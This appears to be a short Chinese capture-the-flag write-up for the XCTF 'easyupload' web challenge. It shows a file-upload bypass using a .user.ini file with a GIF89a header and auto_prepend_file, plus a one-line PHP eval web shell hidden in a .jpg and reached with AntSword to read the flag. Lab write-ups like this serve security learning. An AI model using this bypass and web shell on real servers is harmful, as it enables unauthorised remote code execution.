攻防世界-Web-新手-easyupload

题目描述

一名合格的黑客眼中，所有的上传点都是开发者留下的后门

靶场环境

解题思路

1 判断只能上传图片格式的话

2 那只能通过其他漏洞来图片解释

3 查看别人解题思路，原来是利用php的user.ini配置文件来实现漏洞攻击

php的 user.ini 配置文件里，有一个参数是在文件运行前把某个文件包含进来的

GIF89a                  
auto_prepend_file=图片

骤一：准备文件 准备 .user.ini 文件，这里的GIF89a是用来绕过防御三（看上面）

GIF89a    
auto_prepend_file=s.jpg

准备 s.jpg 文件，这里取消用 <?php ?>

采用了短标签写法，php7.0之后弃用，7.4好像就取消了，所以这题应该是php5

GIF89a
<?=eval($_REQUEST['cmd']);?>

抓包

上传.user.ini

在上传s.jpg

按f12查看文件去向

蚁剑链接

查看flag文件

得到flag:flag{B14ck_L1st_1s_S0_D4ng3r0us}

这个flag不是解题的falg,查看了官方的解题思路，发现也是这个flag文件，但flag不是这个flag